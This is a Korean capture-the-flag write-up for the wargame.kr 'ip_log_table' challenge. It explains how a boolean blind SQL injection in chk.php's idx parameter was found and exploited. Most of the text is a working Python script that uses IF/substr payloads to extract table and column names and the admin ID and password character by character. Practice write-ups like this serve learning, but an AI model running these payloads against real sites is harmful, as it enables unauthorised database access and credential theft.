Blind SQLi challenge. You can use 'Ascii' to 'Date'
들어가면 표가 하나 반겨준다. idx와 아이피가 적혀있는데 이건 쓸데 없어보이고, admin 페이지가 있다고 하여 들어가보니 로그인창만 있다.
특별한건 없어보이고, POST값을 넘겨줘 로그인하는 개념인것같다. 몇번 해보다가 아무 단서도 없기때문에 여기서 하는게 아니고, 표를 클릭해 얻을 수 있는 정보로 로그인을 해야할 것 같다.
표를 누르면 chk.php 에서 idx를 확인하게 되는데, idx에서 and 1=1 , and 1=0 을 보내니 결과가 다르게 리턴됨을 확인했다.
즉, sqli 가 가능하다는 말이다.
먼저 length를 체크하고 돌려봤는데 이 과정에서 information_schema에 base table로 선택하게 했더니 잘 선택되지 않았다.
(CHARSET을 위해서 몇분을 날림 ㅠㅠ 나중에 깨달았다..)
hex로했는데도 IF값이 false만 나오는거보니 뭔가 있는것 같다.
그래서 WHERE대신에 order by table_type을 해주기로 했다. 어차피 전부 SYSTEM 일테니까 BASE TABLE이 제일 위에 올거라는 생각이었다.
그리고 그 생각이 맞았나 드디어 제대로 된 값이 리턴되었다. (왜 안될까 ㅠㅠ)
결과가 조금 이상하게 나왔지만 충분히 유추가능한 범위여서 괜찮았다. 페이지에 브루트포스를 막는 용도인지 sleep 이 걸려있기때문에 느긋하게 풀어야한다;
컬럼은 idx, id, ps 인데 괜한 삽질하지 않았으면 하는 마음에 적는다. (너무 오래걸린다)
한참 걸려서 다 알아내고 어드민페이지에서 로그인하면 키가 나온다.
코드는 따로 지우지 않았으니 보고 싶은 사람만..
#!/usr/bin/env python # -*- coding: utf8 -*- import urllib, urllib2, time headers = {'Host': 'wargame.kr:8080'} for j in range(10,12): data = "if((select length(table_name) from information_schema.tables order by table_type limit 0,1)={},15078,1)".format(j) #print data data = urllib.quote(data) req = urllib2.Request("http://wargame.kr:8080/ip_log_table/chk.php ", "idx=" + data, headers) response = urllib2.urlopen(req) if "1970" not in response.read(): print "TABLE LENGTH: {}".format(j) for i in range(1,15): for j in range(32,127): data = "if((select substr(table_name,{},1) from information_schema.tables order by table_type limit 0,1)={},15078,1)".format(i,hex(j)) #print data data = urllib.quote(data) req = urllib2.Request("http://wargame.kr:8080/ip_log_table/chk.php ", "idx=" + data, headers) response = urllib2.urlopen(req) if "1970" not in response.read(): print "TABLE NAME FOUND: {}".format(chr(j)) for k in range(0,10): for i in range(1,15): for j in range(32,127): data = "if((select substr(column_name,{},1) from information_schema.columns where table_name=0x{} limit {},1)={},15078,1)".format(i,"admin_table".encode('hex'),k,hex(j)) data = urllib.quote(data) req = urllib2.Request("http://wargame.kr:8080/ip_log_table/chk.php ", "idx=" + data, headers) response = urllib2.urlopen(req) if "1970" not in response.read(): print "COLUMN NAME FOUND: {}".format(chr(j)) for i in range(1,50): for j in range(32,127): data = "if((select substr(id,{},1) from admin_table)={},15078,1)".format(i,hex(j)) data = urllib.quote(data) req = urllib2.Request("http://wargame.kr:8080/ip_log_table/chk.php ", "idx=" + data, headers) response = urllib2.urlopen(req) if "1970" not in response.read(): print "ID FOUND: {}".format(chr(j)) for i in range(1,50): for j in range(32,127): data = "if((select substr(ps,{},1) from admin_table)={},15078,1)".format(i,hex(j)) data = urllib.quote(data) req = urllib2.Request("http://wargame.kr:8080/ip_log_table/chk.php ", "idx=" + data, headers) response = urllib2.urlopen(req) if "1970" not in response.read(): print "PS FOUND: {}".format(chr(j))